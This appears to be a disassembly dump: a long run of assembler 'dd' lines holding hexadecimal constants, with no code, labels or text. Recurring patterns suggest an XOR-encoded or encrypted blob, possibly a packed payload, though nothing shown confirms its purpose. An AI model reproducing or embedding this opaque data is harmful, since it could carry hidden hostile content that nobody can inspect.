		dd 0F6E33256h, 0DDBE6C37h, 0ABB13258h, 0D5B13BBFh, 2F651D56h
		dd 0AE773D6Ch, 0C73252D2h, 0D8BE33AEh, 0AEB132F0h, 57B0B159h
		dd 1B493256h, 0D83D3D1Fh, 8AB13256h, 286AB330h,	0DE72B39Bh
		dd 3CA71DB4h, 0F9085436h, 57BFDB52h, 4F873256h,	7742C4AEh
		dd 9553DEF3h, 1EE27DB3h, 53D19837h, 5DB13251h, 78C5B520h
		dd 0D622AAB2h, 3D410589h, 6DD75332h, 0E058B759h, 7CB13256h
		dd 0F53FF6D6h, 375E2B4h, 561A54ECh, 56F78459h, 0ABBFB559h
		dd 0DAD13256h, 0EAB132DDh, 0B17FB356h, 0DBDB6B04h, 5DA5DBFDh
		dd 0D49D3256h, 0F55F8631h, 0A53FE744h, 5DA74415h, 0C52D1D0Ah
		dd 0BA58360Ah, 53B13256h, 5DB1325Ch, 0EC0EE875h, 95D95A08h
		dd 0D6325AB9h, 50BE30AEh, 0EAB132E5h, 75BABC59h, 0B5D13256h
		dd 0B630F3E1h, 0FFAD5182h, 5C095437h, 0AA3D3D9Fh, 20B13256h
		dd 0E51A54AAh, 75B137D0h, 0EA485256h, 0E5D7530Eh, 0BE58B659h
		dd 7EB13256h, 0FAE6DC75h, 38F99790h, 0BD8F4D83h, 1300D7F7h
		dd 0AB5852FDh, 2B13256h, 0D2DF760Ch, 3AFDD7Eh, 1CF5DBFEh
		dd 894EDE26h, 644C8A30h, 33073D37h, 0B0353D57h,	3DB13256h
		dd 6930E2DDh, 57864CAh,	21BE9937h, 0D5B1324Fh, 0EAB126BFh
		dd 2F378656h, 764FFE43h, 0B9B543CFh, 0AE1734F0h, 919CB7FEh
		dd 0ABADDBDFh, 6AD13256h, 96DA3F09h, 0BD5DDAD7h, 0DAD05E13h
		dd 5DB3BD59h, 593A3256h, 0A4D0E4DDh, 6C3ACAF2h,	57BE69AAh
		dd 0EAB13251h, 0B43A5436h, 0E3D0E3DDh, 0DCD16CAAh, 254F048Ch
		dd 84D6401h, 2EBE6D37h,	0D5B1325Ah, 0EAB7BA59h,	0F3BE3256h
		dd 0BAB13256h, 0B4E1529Fh, 0AEB13258h, 845D9645h, 0C2C82291h
		dd 1F51E0FFh, 0E5E80262h, 75B131D7h, 750E3D56h,	5DBEDB37h
		dd 8B43256h, 39DD69D3h,	9CCC5D22h, 78341AB4h, 0EAB9F06Eh
		dd 75B137BFh, 0FEB4B256h, 52E45615h, 0AEB133DFh, 0BB3ACA56h
		dd 0ABBBB559h, 5ED13256h, 0EA3A3D8Fh, 14B13256h, 0BAB121BFh
		dd 1076D456h, 8690405Bh, 5C43E48Ch, 0E25B6176h,	0BEAA9BE6h
		dd 0E158CB36h, 0CDB13256h, 6B002727h, 0A487E6DCh, 0AE59B006h
		dd 0DB13256h, 1FBD8D7h,	3CD134F8h, 0EAB1325Fh, 8FCCAA88h
		dd 46E99A0Bh, 5DA2DB8Bh, 9A003256h, 2C6D10E7h, 0E17BC427h
		dd 68F8D38Eh, 284E80CCh, 0FE49533Ah, 4FD13A13h,	5DB5BF59h
		dd 11D73256h, 0DED0525Ch, 5CB84D4h, 0D5BDDB50h,	70283256h
		dd 0C8C9D100h, 0D1EA88E5h, 0A8D0C69Ah, 0A658529Fh, 35B13256h
		dd 379285BBh, 3C679F95h, 0EAB13242h, 0B9E9AA85h, 0BD7B5765h
		dd 92FD4CFCh, 12E2C058h, 0BC7B4371h, 0ABB5F037h, 0D5BCDB36h
		dd 41E43256h, 0E6218AC9h, 0D8F36925h, 0E37BECE0h, 0FAC1CBDEh
		dd 5D586737h, 0EEB13256h, 0D6B02959h, 0D4BF51ACh, 8C5DB986h
		dd 4275B1AAh, 5DA2DB36h, 0FBF73256h, 8AA3489Fh,	0F8CD1597h
		dd 0A6323B50h, 4847AB9Dh, 74353D9Ch, 4FB13256h,	54585237h
		dd 0AAB13256h, 0BFA515FFh, 0E47F2ED7h, 0D5B132BEh, 306856h
		dd 731F9962h, 0BABABD59h, 52D13256h, 0AEB132D2h, 9D0E3D56h
		dd 0EE76CB37h, 0D5B132AEh, 0AF76CB56h, 75B132AAh, 7A82CA56h
		dd 433A54AFh, 0AEB13DBFh, 0EA244856h, 0B3E1FD18h, 238EBEABh
		dd 0C29E3AAEh, 853A5436h, 0DB48B930h, 210AB091h, 0AEB034F8h
		dd 58D13256h, 0ABB130DEh, 0B4EB6156h, 5E4FB936h, 0F4D753ADh
		dd 0B521A2ADh, 5DB13DD3h, 2DBECA56h, 57B1325Eh,	0ABB3B559h
		dd 0B4D13256h, 0E559C9D6h, 75B528D2h, 0B5F1CB56h, 5DB12AD6h
		dd 0AEA2DB56h, 17523256h, 54E6AEE1h, 3025DA87h,	7372DA60h
		dd 0B79A2AE8h, 534AB2B6h, 5E40B659h, 2DBE3256h,	57B1325Ah
		dd 0ABB7B359h, 53BE3256h, 0EAB13256h, 75A0DB16h, 0E5DA3256h
		dd 35725BD5h, 0F5A76901h, 0C0C11A91h, 2B8F3ECEh, 51BED9ADh
		dd 0EAB131E9h, 75B138BFh, 0A8210356h, 8FF3D9BDh, 0EED24C9Dh
		dd 0A756B2A3h, 960B5436h
		dd 260E3D8Fh, 11305437h, 0F1BEB259h, 0BAB131C1h, 5C3331AEh
		dd 0A1B79A43h, 57B124D6h, 0ABA0DB56h, 69043256h, 0BF99E077h
		dd 0C21FDA2Dh, 644F7CFCh, 1D439254h, 4C4AB2AAh,	54F9B659h
		dd 28BE3256h, 0D5B1325Eh, 0EAB3B559h, 14D13256h, 0B552C9D6h
		dd 5DB3C9D2h, 0AEB9DB56h, 0EB533256h, 0A3A535F2h, 54D7607Dh
		dd 0E55255ADh, 75B22BD2h, 0DC495256h, 3CE000E8h, 5B41D1D6h
		dd 58C1C9D6h, 0ABB214D2h, 0D5B8DB56h, 0E5563256h, 0FEC558FBh
		dd 0DC942275h, 52D12CDDh, 0AEB134D7h, 0C358B356h, 20E32773h
		dd 3631538Fh, 0EAA2DBAEh, 0D33C3256h, 0D0DF14Bh, 0B15361AEh
		dd 0E7E6A4C7h, 3F080BCDh, 134AB2ABh, 0D4E7B659h, 6A443256h
		dd 0F1BE3768h, 0BAB1331Ah, 5DB13BBFh, 16F90856h, 0A31D62D5h
		dd 2B44F7E2h, 51BE1F68h, 0EAB13362h, 230A52AAh,	0DAF87EFCh
		dd 3B4FB930h, 0CF069FEDh, 3F8FB237h, 0AAABB659h, 55D13256h
		dd 0AAD0BEA3h, 75A6B359h, 0A8583256h, 3FB13256h, 4C6C7F41h
		dd 3B42DAD0h, 0C6AC530h, 0B7D2DC81h, 5133CD9Bh,	15B79C2Ah
		dd 0BAB4B559h, 0DCD73256h, 0CFF5629Dh, 0BEAFB930h, 0ABB1325Ch
		dd 0CEA3D2DCh, 9AC7376Ch, 92319843h, 0B758C7AEh, 1FB13256h
		dd 2E52EC97h, 81821548h, 8E8D800Fh, 544AB330h, 5B353DBEh
		dd 9CB13256h, 0BAB13253h, 8D882251h, 0B03A54E3h, 0A4315236h
		dd 0CA49533Ch, 3C41D5D6h, 0EAB13258h, 1A9538Dh,	422B3137h
		dd 8C0E4D0Ah, 2FD7D87Eh, 5871B3ADh, 0ABB149D2h,	0CE3C3D56h
		dd 8AB13256h, 9D628D59h, 0BAB13246h, 9F7586C3h,	0ABBB63E5h
		dd 22ECBBD0h, 1A97859Ch, 3CD1530Ch, 0EAB13250h,	3DA9A731h
		dd 36BE3BB0h, 5DB13257h, 2ABE67AAh, 57B13257h, 0A123CDAAh
		dd 0B5B79C2Dh, 0EAB13ABFh, 69022D56h, 38F44416h, 9B3054D5h
		dd 0F3D041C7h, 0ABF4BBAEh, 6C305236h, 0C6D5D07Bh, 0EAB1B359h
		dd 7AD03256h, 0DBD0F9E1h, 0A1CCB1A3h, 58343D57h, 0AEB13253h
		dd 0B58088DDh, 0C15834FEh, 0A0B13256h, 8FBD267Dh, 30BFA560h
		dd 91427A8Dh, 5352C3AAh, 72ACC03h, 0ABB9B259h, 59BE3256h
		dd 0EAB13254h, 0F73A5336h, 0BC1F4EEDh, 5DB13BBFh, 51268F56h
		dd 1953A747h, 9788FED0h, 0DC595266h, 1DB13256h,	7EF348CFh
		dd 726FF606h, 3BEF5336h, 0CEF9EBD7h, 0D5BE6A37h, 0ABB137C7h
		dd 0B4C48336h, 0E3D088DDh, 8C4434FEh, 383ACE06h, 5B1F4EEDh
		dd 0AEBDB959h, 0DFBE3256h, 0ABB13250h, 0D5B1B259h, 0D6883256h
		dd 7D595266h, 44B13256h, 6ACF05EFh, 0C847D0FBh,	900ACE8h
		dd 0ABB121BEh, 1AAE9D56h, 0D1F105CDh, 0BD5A0B1Bh, 55B33564h
		dd 0E6E4DA7Eh, 0AEB1BD59h, 36E83256h, 853E3D0Eh, 0B5B13253h
		dd 9B428D30h, 0CF3A53AEh, 0BC1F48FCh, 5DB138BFh, 92559856h
		dd 0E45DB6C1h, 2892418Dh, 7BCB98D4h, 69BE2650h,	75B13257h
		dd 0B586BBAAh, 5DB13CDBh, 0AEB8DB56h, 0EFFE3256h, 338FB476h
		dd 5CF46D8Bh, 0BA482211h, 0CE33B9AFh, 0B5B79C2Ah, 5DB133DFh
		dd 2CBECE56h, 57B13257h, 9BADB9A3h, 0B47AB936h,	0B538CA0Eh
		dd 0B758CB5Eh, 46B13252h, 5F497791h, 47B13256h,	57B13253h
		dd 0AF0C8987h, 0D5F0DB76h, 0E5D13256h, 75B126D1h, 0BABEDB56h
		dd 53973256h, 28A0CCFDh, 37BF1F8Bh, 48770F1h, 8E0F54D1h
		dd 0AF765342h, 75B133AEh, 0AE363D56h, 0B4B13256h, 0AEB13259h
		dd 0BEF12730h, 314D4BAh, 3AE08CE6h, 6165BD57h, 0DBCB98ECh
		dd 3832CB50h, 5B1F48FCh, 25BE5242h, 57B13250h, 8539F9D7h
		dd 5CD06754h, 0E5E05261h, 14E9C2E9h, 0DAA175DFh, 0D6E8D59h
		dd 98D68A30h, 0AF32530Fh, 91343D55h, 29B13256h,	960AB091h
		dd 75B334F8h, 3ABE3256h, 5DB13257h, 0EE58CEAEh,	37B13256h
		dd 0ABB139BFh, 0A763C156h, 0F346B656h, 16977BDEh, 0DB69E3D6h
		dd 0BD315236h, 0CE095493h, 903A534Fh, 0A949B137h, 0D7F4BF59h
		dd 2D13256h, 75B1325Eh,	7E3FD9D1h, 596766DAh, 0FDCBFAE9h
		dd 0D4D06B1Eh, 0A4B1CA2Bh, 0D5B1B8D2h, 5CBECE56h, 15443310h
		dd 4E7634EEh, 0DD18534Eh, 0A1B13256h, 57B170D3h, 0CBF1C756h
		dd 343054AAh, 69D09CEEh, 9CD137BEh, 0BAB13246h,	0ECD8E378h
		dd 20940C8Bh, 35882088h, 0DA9A4FADh, 0D5B13EBEh, 1ACEB556h
		dd 0BC7C3A80h, 31132354h, 8553B397h, 0F78DAEBDh, 579ADB37h
		dd 864D3256h, 0D5B132A9h, 0B305436h, 15D18F9Bh,	4A3A5437h
		dd 0B5325337h, 0AEBEDB53h, 0F5D53256h, 0D13C8B6h, 0AEB6E3F2h
		dd 0D99D24E4h, 75F4DB93h, 0E9483256h, 5DB13ABFh, 9B1AA956h
		dd 4B6697B9h, 102BB912h, 0DAB79C2Ah, 0EAB13CDEh, 75B8DB56h
		dd 0C0AE3256h, 0F532A2DEh, 250C4758h, 0D1BE0152h, 0ABB1325Ch
		dd 0D5383D36h, 61B13256h, 2E445388h, 0BAB0B959h, 0F4483256h
		dd 2EB13256h, 5722B759h, 0A8443256h, 0D5BDDB90h, 0FCD43256h
		dd 166D98ABh, 42EEA89Eh, 9D3282FDh, 0AEBDDB53h,	0F8203256h
		dd 4B1B13Eh, 4051F177h,	61D1F6BDh, 0F7B25390h, 0BC1F4EEDh
		dd 0D7BE7AAFh, 0AEB13249h, 57A8BC59h, 0BF583256h, 35B13256h
		dd 9EDAB117h, 0B29EDFFCh, 807BF41Ah, 0EAB189E8h, 27EDCC8Ah
		dd 0D6BE3A11h, 0ABB1325Eh, 550ECE36h, 8BB0755Eh, 79F6BBAEh
		dd 0BAB13ABFh, 7F752656h, 0CEC81BA7h, 55C2DB4Eh, 0A5583256h
		dd 56B13256h, 0E6BA4CF5h, 5AD2A3F5h, 0D9FDE04Bh, 5269C56Eh
		dd 0AEB125D7h, 57A3DB56h, 2C113256h, 574BF298h,	2F346224h
		dd 0EFB4D97h, 0CE50CFC1h, 5758F47Dh, 0FBB13256h, 0FB77E4A0h
		dd 0FFF77D44h, 0DA69C506h, 0EAB138DDh, 0AD305256h, 9F0FAC68h
		dd 0DED0FADDh, 0C8D13796h, 903CDAD7h, 10333137h, 0B5B79C2Ah
		dd 0EAB7B959h, 0F3BE3256h, 0BAB13256h, 0B4F953AEh, 0AEB13245h
		dd 977B7690h, 0BF4F5670h, 0EF032587h, 0BE61A080h, 0FCD1385Ch
		dd 3EBE3A11h, 5DB1324Eh, 0AEB121BFh, 95810C56h,	7380CFB1h
		dd 0E25D7A38h, 79CDD58Dh, 0E9DBB7E9h, 0B6F6BBAEh, 850E3D36h
		dd 47D0F9DDh, 57B133E3h, 1BF8936h, 0DAE6718Ah, 0EAB132DCh
		dd 46D06B56h, 0FC3BC796h, 5DB6DB57h, 9F6C3256h,	69F8C26Eh
		dd 0A4319AAFh, 0D5B1D0D3h, 0FC3D3D56h, 9CB13256h, 0BAB13247h
		dd 98D10EA9h, 53DB9EE8h, 84148180h, 0B0DADAF8h,	0DA7731ABh
		dd 0EAB122D4h, 75BADB56h, 243D3256h, 0EBAD3BFFh, 0B0A0D4F6h
		dd 5571B110h, 0ABB121BFh, 549B6B56h, 5654A898h,	0A8EFC327h
		dd 440381E3h, 0A891AF0Ch, 465A8636h, 57B13245h,	7F77FCA3h
		dd 58491374h, 15953776h, 2CB1CF12h, 0E838AB62h,	0E6D06A0Eh
		dd 0AEB13257h, 586A39AFh, 0ABB11DD2h, 0DD3C3D56h, 8AB13256h
		dd 0F569B930h, 30D088A4h, 0F07418CCh, 4D31CB50h, 5B585257h
		dd 6B13256h, 0DEE0F094h, 39E0C8EFh, 13CC620Ch, 0DB0606E8h
		dd 0D44DF155h, 0A14D3A11h, 57B136D7h, 0F0E35256h, 0D9F6BB37h
		dd 0EA76DBAFh, 7B583256h, 13B13256h, 0CE60AA14h, 359F37F4h
		dd 0B0103B12h, 13D75204h, 6AD75914h, 1DD0A563h,	75B4DB8Eh
		dd 76F43256h, 782195D8h, 0AEB132A9h, 57A2DB36h,	0F47C3256h
		dd 291AE623h, 21D74A70h, 435FF294h, 0DCF9AAB5h,	9831618Dh
		dd 47D06AE0h, 57B1325Ah, 0C1A0286Dh, 0D5E00B6h,	9C8A819Ah
		dd 6758F47Dh, 8B13256h,	0DC488B8Eh, 597E19D5h, 7C61DDACh
		dd 2F513E2Ch, 0D46CA81h, 0EAB0B559h, 0F6483256h, 3DBE3096h
		dd 5DB13251h, 0B1518A36h, 0AED00446h, 0A4B975DFh, 0D5B133D6h
		dd 0AD38CA56h, 7D59525Ah, 7FB13256h, 5A6D9C29h,	4757664Ah
		dd 57B13245h, 33756889h
		dd 0BF65FC25h, 48763703h, 0DA32567h, 0E5E2E564h, 5358CA37h
		dd 9FB13256h, 56BB072Ah, 362C4BCAh, 0C3AEF2CFh,	6BBE53A1h
		dd 75B13257h, 0A858FBAAh, 0D6B13256h, 494CA76Ch, 7A7507A8h
		dd 8F340B99h, 0EE748529h, 63BEF106h, 75B13257h,	36BE67AFh
		dd 5DB1325Ah, 0AEB7B359h, 0D9BE3256h, 0ABB13256h, 5644DEDDh
		dd 6ABECE92h, 75B13257h, 31BE52AAh, 5DB13247h, 0AEB13EBFh
		dd 0C034D856h, 0DD016201h, 0F7380723h, 0EAB1DA12h, 0F4EB3256h
		dd 14058BBCh, 5658CE50h, 0FFB13256h, 0C18FEEA1h, 1A219480h
		dd 5CBE3790h, 0EAB1324Bh, 75A6BA59h, 0A8583256h, 0F1B13256h
		dd 0B75BF175h, 0E4B71F93h, 5A0D5783h, 0D456F5h,	8E0BB9D1h
		dd 89B79C2Ch, 35BEFB65h, 5DB1325Ah, 0AEB7B859h,	0DEBE3256h
		dd 0ABB13256h, 0DAB10DD5h, 0EAB577D2h, 723AC756h, 0BAB13ABFh
		dd 0E57C056h, 11E66E06h, 5BC4CD6Fh, 6B0F5436h, 8946B24Bh
		dd 0E2C4CD37h, 75A7B259h, 38BE3256h, 5DB13246h,	0AEB139BFh
		dd 0A9477F56h, 4167B0E0h, 0E8AFE488h, 3305206h,	389EE3CFh
		dd 2C5953AAh, 3DB1325Eh, 0F535D9D7h, 5CD0073Dh,	0B7343D96h
		dd 0B5B13256h, 61D06AE4h, 4C58CB51h, 53B13256h,	5DB1325Dh
		dd 7F1E0257h, 0FF3A592Eh, 28998930h, 0C1582691h, 0A3B13256h
		dd 3C5D535h, 1208CB17h,	0F0E47002h, 312F785Eh, 0BE572623h
		dd 544ECD36h, 0D5B3B559h, 8BD13256h, 154D77DFh,	404F8DDh
		dd 51C4CD37h, 0AEB120BFh, 9C507856h, 0D34A0D31h, 6A8760B3h
		dd 0D47B5058h, 9C117CA2h, 0BAB13258h, 8CF81F90h, 0AA327EA4h
		dd 0CA61A3C8h, 0DE4E60F8h, 0DD393D5Eh, 8AB13256h, 75B1B759h
		dd 45D03256h, 553E3D61h, 0A1B13256h, 57B130DEh,	43D05256h
		dd 0D5B135B3h, 0E57139AEh, 75B11AD2h, 0BABEDB56h, 0DFF23256h
		dd 248818F7h, 0E95810DAh, 41D8FA3Eh, 0D699DB31h, 0E0583256h
		dd 0F8B13256h, 49C9BBEDh, 712E4D2Ah, 52F4B95Ch,	57B138BFh
		dd 3B2A2856h, 6756738Ah, 0D352E0BCh, 8A333D51h,	42B13254h
		dd 524D77A9h, 0AEB133DFh, 2832C756h, 2FBE3252h,	0D5B1324Eh
		dd 0E6CEB1A3h, 78353D56h, 0DAB13256h, 0BB31DEDCh, 93585373h
		dd 0ABB13256h, 544ECDEEh, 0D008CBA9h, 0E5B13256h, 75B133DBh
		dd 1142CB56h, 5DB137BFh, 61070756h, 4558851Eh, 424ECDA9h
		dd 0D5B13242h, 0BC10C4B0h, 7C9BA3EEh, 0B94ECB49h, 0C2D4044Eh
		dd 412800E4h, 52A14DD5h, 0AB30B659h, 82D13256h,	6AEA5336h
		dd 0F6D03BA1h, 0B5B72229h, 5DB196D3h, 0AEB9DB56h, 6F733256h
		dd 0CE552BBDh, 20F04403h, 0EABAB659h, 0F4D13256h, 32A19BA7h
		dd 8D063D12h, 0AAF6B937h, 57B139BFh, 8D9FD56h, 2FD8CA5Bh
		dd 0BDF53B37h, 15BD6DDDh, 36BECBDDh, 5DB13250h,	0AEB1B259h
		dd 0BED03256h, 0ABB133B6h, 0D5ACB359h, 6BBE3256h, 75B13241h
		dd 0BAB120BFh, 94D8EB56h, 1202550h, 0F8B1B13Eh,	3E51F177h
		dd 5EBAF6BDh, 61483611h, 66583E09h, 23B13256h, 0F61B7085h
		dd 0BF03BE2Ch, 33EE0464h, 68C186F7h, 0A1583D77h, 8AB13257h
		dd 75B137BEh, 9059A556h, 5E6449Ch, 610E3D09h, 53F6B937h
		dd 0A7EEB9AFh, 54D76436h, 0B32B3FBEh, 146FB930h, 0B5B96D6Dh
		dd 5DB188D3h, 0A33F3D56h, 0BEB13256h, 0ABB1325Eh, 7BE75DF1h
		dd 5CEDD303h, 75B9DB04h, 0F8F63256h, 0F5D2CE40h, 0F93A3CB8h
		dd 57A2DB52h, 0FAF03256h, 5A9F83DEh, 0EA47C5CDh, 0C81BD60Eh
		dd 262BADABh, 57373DFEh, 0CEB13256h, 3A0804EFh,	733A5417h
		dd 0C5E41937h, 0FEE431A3h, 79EEB9AEh, 0BABFDA36h, 45083256h
		dd 0F041454Ah, 0C360A158h, 0B50F956Ah, 0CC096DAFh, 8BE18610h
		dd 0F8BEE87Dh, 0BAB1325Eh, 5DB3B559h, 0CFD13256h, 37B4D9D5h
		dd 5ED09DE6h, 0B3D1520Ch, 8180FBD7h, 0CBD0E1DDh, 0AD76F68Bh
		dd 5D31DB37h, 0BA583256h, 4FB13256h, 0FBC03FA4h, 86ACC41Ch
		dd 74118C27h, 42D8BC3h,	317AF887h, 57583611h, 0B6B13256h
		dd 786A4D8Eh, 3A9725F3h, 0D9EEB9DEh, 0EAB13ABFh, 0AC4F9156h
		dd 73079512h, 59EE19D3h, 0AEBDDB36h, 0ACD93256h, 2E467275h
		dd 0AA7CBC44h, 830B4B0h, 78DC5C38h, 0BF5AB137h,	5DB138BFh
		dd 0BEB99156h, 3582A106h, 0A8AB2CABh, 7D80A7DCh, 0EABDDB50h
		dd 0CCF43256h, 6E75A4BAh, 2E54098Eh, 0D1326753h, 0D2BE3146h
		dd 0ABB1324Dh, 0D5A2B159h, 0E4583256h, 90B13256h, 9DAB2B1Fh
		dd 0E9F3DF59h, 2C86AF0Dh, 7C49735Bh, 0ABA0DB8Fh, 0F99E3256h
		dd 405552Ch, 0FB6420F4h, 0ACC77158h, 3D9E6EDEh,	924288E8h
		dd 0DB51B348h, 0CA88DF89h, 0D4B06EDFh, 0AB678B36h, 0B2304F68h
		dd 8F1097CFh, 0A209CB37h, 524ECDA9h, 91063D36h,	0ABB48B37h
		dd 26493256h, 0EABEDBFDh, 665A3256h, 346675B8h,	0AC4C156Eh
		dd 0A4E183C4h, 0ABC2DB88h, 0A058CDA9h, 0EEB13256h, 0BCD9DE3Dh
		dd 56EFADB7h, 4FD06563h, 55303D9Fh, 0A1B13256h,	57B130DEh
		dd 69D05256h, 0C5583246h, 44B13256h, 7FD9D256h,	0CBD15A90h
		dd 0EDE95EFBh, 0FB7F7F58h, 57BBBF59h, 0A4D13256h, 0D5B132DDh
		dd 8BEE6056h, 7D58DEDDh, 0F3B13256h, 3503DF69h,	2D0ADEFAh
		dd 374DCE92h, 0ABB13CBFh, 7A0F7456h, 74C25A29h,	6E409690h
		dd 52307685h, 5DB13256h, 6D5BB30Ch, 0BEB79CEFh,	0ABB13258h
		dd 8F0E1004h, 6C42A872h, 60E63089h, 0B4587611h,	0BFB13256h
		dd 8614546Ch, 34821028h, 0B44FC347h, 0B10BB912h, 3B79C2Ch
		dd 75B13245h, 32E4FD2Fh, 0C62D6903h, 6D858954h,	49227F13h
		dd 98019286h, 0EA32CB9Fh, 4A353D56h, 7AB13255h,	0BAB133D6h
		dd 5A3ACE56h, 0AEB13BBFh, 0CC0AF556h, 0EAD7AC45h, 0A04E9C9Fh
		dd 0EABBDB5Ah, 0F6273256h, 0E39BF3C0h, 57B9EC8h, 56B947A9h
		dd 67095206h, 42A4A5C7h, 0D5B13244h, 0CF745308h, 0BCC07695h
		dd 883195A8h, 0C8412699h, 46D0ECADh, 57B131DBh,	53063D36h
		dd 0D5B1B259h, 3D03256h, 75B13250h, 0F57EA1DAh,	9DBA804Bh
		dd 0AE97B759h, 0D3BE3256h, 0ABB13257h, 29B6B9A3h, 0EAB6B559h
		dd 13D13256h, 6C3AF0DDh, 5DAFDB37h, 22BE3256h, 57B13252h
		dd 0CAEE6536h, 0B5A5F5D5h, 0EAB1B159h, 0FED73256h, 0F558538Ch
		dd 0A14ECDA9h, 474D77DFh, 57B1325Ch, 7A2BE0DDh,	2B1DE0EBh
		dd 9F4E98FAh, 0C2BE525Ah, 61305497h, 0A2D03F1Fh, 0A8583A23h
		dd 0C3B13256h, 88D5233Ah, 2D86CDEDh, 0EAB232BEh, 0B5BACE56h
		dd 0BA92B659h, 0D8BE3256h, 0AEB13257h, 551CDBAAh, 42493256h
		dd 0D5B13247h, 8D53B61Bh, 0E63C0FFAh, 0A4D1FD08h, 934F8C51h
		dd 52F4B9EFh, 58B60BAFh, 0ABB3B8D4h, 0D5A3DB56h, 6FBA3256h
		dd 6EA72978h, 34B933A8h, 0E42B989Dh, 83C7C1Dh, 374D77A9h
		dd 5C063DA3h, 0AA32CA37h, 6EBE3252h, 75B13272h,	0B6CEB1A3h
		dd 44353D56h, 56B13256h, 57B1B3BFh, 0A6313D56h,	3CB13256h
		dd 0EAB1325Eh, 0BAE2415Dh, 0F0783759h, 0A24ECDEEh, 0AEA2DBA9h
		dd 23843256h, 0BC8D56DAh, 0DE103721h, 2CE407BFh, 0E2952F37h
		dd 0BAB48B8Ah, 0B4D13256h, 0AEB13246h, 0AA431ADFh, 2F8A3BB8h
		dd 0D2692296h, 5E67F65Eh, 75B139BFh, 9E3BF356h,	867C201Ch
		dd 3C44CD3h, 371AC137h,	0C341B330h, 1630549Ch, 3D0F037h
		dd 8A4ECCACh, 0BAB9DB36h, 0E3873256h, 0A6A967C9h, 0A031D899h
		dd 0D43253DFh, 51BE3746h, 0EAB132D8h, 65CEB1AEh, 56343D50h
		dd 52B13256h, 0AEB13DD9h, 57BBDB56h, 28A03256h,	9A8C146Dh
		dd 15734Dh, 154D5217h, 0DBD16800h, 1A3A5337h, 0BE585252h
		dd 81B13256h, 0D966F927h
		dd 0A0C50E05h, 547CE0Dh, 131BF60Ah, 100AF1D7h, 51EEB937h
		dd 0AEA0BB59h, 5B583256h, 5DB13256h, 0FD56F5A6h, 0CD350246h
		dd 9C0F791Fh, 0BAB13352h, 52323D36h, 46B13256h,	57B1325Fh
		dd 0B111A8CDh, 987E535Eh, 8B496C53h, 75B9B459h,	3BBE3256h
		dd 5DB13254h, 0E93A5336h, 57BEDB52h, 0BA353256h, 354467Ah
		dd 0C39C14FDh, 3BD9A6FBh, 0B6EEB95Ah, 0B4D152AAh, 0AEB13245h
		dd 7BDD73C5h, 3A7B6517h, 0F6D89132h, 2888AF8h, 9CF5231Ah
		dd 0BAB1325Ah, 0C2F7EA4Fh, 5F20133Bh, 0CEBD7B28h, 0C24A8837h
		dd 3CD00345h, 0EAB13222h, 75B120BFh, 0FBA68456h, 30C333DEh
		dd 4149D180h, 3453EF8h,	2073EC68h, 3CD13611h, 0EAB1325Dh
		dd 9245AF10h, 0FFB2E8D9h, 3B0699DBh, 0CF86E7EDh, 0AFBD6DDDh
		dd 0CBB56D7Dh, 2F838930h, 0EF5AB137h, 75B134BFh, 0FF9FF556h
		dd 0DE57F2DCh, 0A1B22229h, 57B12DD3h, 0ABBEDB56h, 821C3256h
		dd 6A3B3750h, 1DABB2A9h, 9383612h, 58587310h, 0B6B13256h
		dd 3C7736Bh, 0BA58EB7Dh, 0BCB13256h, 36D7B170h,	1375AA89h
		dd 175A4E49h, 40C9C98h,	0AFB06EDFh, 57B6B559h, 22BE3256h
		dd 0D5B13257h, 154E8AAEh, 0F8BECDA9h, 0BAB13240h, 5DB123BFh
		dd 11572456h, 9124EFA8h, 750E34F7h, 3803A2C7h, 0EF082891h
		dd 15B13256h, 0B54A8559h, 5DB137D0h, 2918856h, 37D03C49h
		dd 0F94A8D59h, 7E42530Eh, 17ADDBAEh, 1448CDA9h,	38BEFBA3h
		dd 5DB1324Fh, 0AEB126BFh, 6B19E356h, 0B7EB75ADh, 0C42FB66Fh
		dd 4598970h, 26E04818h,	0BAB9F0D3h, 5DB126BFh, 0AB165B56h
		dd 86F59147h, 81698FF1h, 232B0BCCh, 0DC3A0B7Bh,	7AD167D0h
		dd 34BEF1E9h, 5DB1325Ah, 0AEB135BFh, 2A5A056h, 88989959h
		dd 0B7055237h, 0BC71B330h, 993A5356h, 7E32CEAEh, 5DA3DBAAh
		dd 62893256h, 59FACB45h, 0BD2F7160h, 0BFF84676h, 0A6C0635Eh
		dd 75A0DB36h, 0F5183256h, 6DE2F481h, 0FCFC7857h, 0ED2302B8h
		dd 0CB4E6032h, 0B467B930h, 3B977DDh, 75B13258h,	0BAEC5085h
		dd 2D9018AFh, 78C6E040h, 128AB3C3h, 0F0333D5Ah,	0B5B13256h
		dd 34AB930h, 75B13253h,	0EB7F748Fh, 188A5309h, 0ED363D46h
		dd 0BEB13256h, 0ABB13246h, 0F8158007h, 8256B579h, 31BCA5DDh
		dd 747A305Dh, 5D4D7791h, 0A1B13256h, 57B127D4h,	0ABA1DB56h
		dd 0E7E03256h, 0CD5E7520h, 9268811Ch, 3B42D98Ch, 715885A3h
		dd 0A1B13256h, 57B133D2h, 0EE76C756h, 0D5B133AAh, 0E358C756h
		dd 8AB13256h, 0C21E782h, 0CCB37B6Ah, 0AEB138BFh, 57B4DB56h
		dd 6DAE3256h, 0B4E67B3Dh, 3C3A5436h, 0FED038E4h, 3DBECE13h
		dd 5DB1324Dh, 0AEA4B659h, 47583256h, 43B13256h,	84CB7CB8h
		dd 0EF17B705h, 0A3D82E3Ch, 733926D1h, 5DBEDA36h, 13223256h
		dd 426268BAh, 0A8F9B99Dh, 96F97925h, 0B376B91Eh, 75B3B159h
		dd 0DBD13256h, 5DBDF037h, 0AEB13DBFh, 0CD0DCA56h, 865C22CDh
		dd 6964EAC8h, 858FF517h, 75B122BFh, 0FA37056h, 37FFEC44h
		dd 87C3B741h, 0F7F7D172h, 0CDD16740h, 0B33443EDh, 8B2F53EEh
		dd 0F644DEDDh, 0DA48CE92h, 0DE0E5436h, 0FF0B5449h, 0DCD7539Fh
		dd 0CBD15380h, 0D5B123BFh, 7389F256h, 85413B43h, 37F5BDA7h
		dd 1C28CEE2h, 46D0F16Ch, 57B13256h, 5BB30Ch, 3CB79CE9h
		dd 0EAB13242h, 9222B60Ah, 9336E372h, 4B0BA671h,	87A3DC32h
		dd 94FA6E52h, 27BECA36h, 0D5B13253h, 6057B330h,	7B58535Fh
		dd 0E7B13256h, 49086FF3h, 949F501Ch, 8065A30Ch,	0FC445263h
		dd 0D5B13ABFh, 46F99C56h, 246B071Ah, 89D06865h,	8682CB9Fh
		dd 0AE9FB959h, 0BFD13256h, 0ABB13247h, 57EB2736h, 5CCBC744h
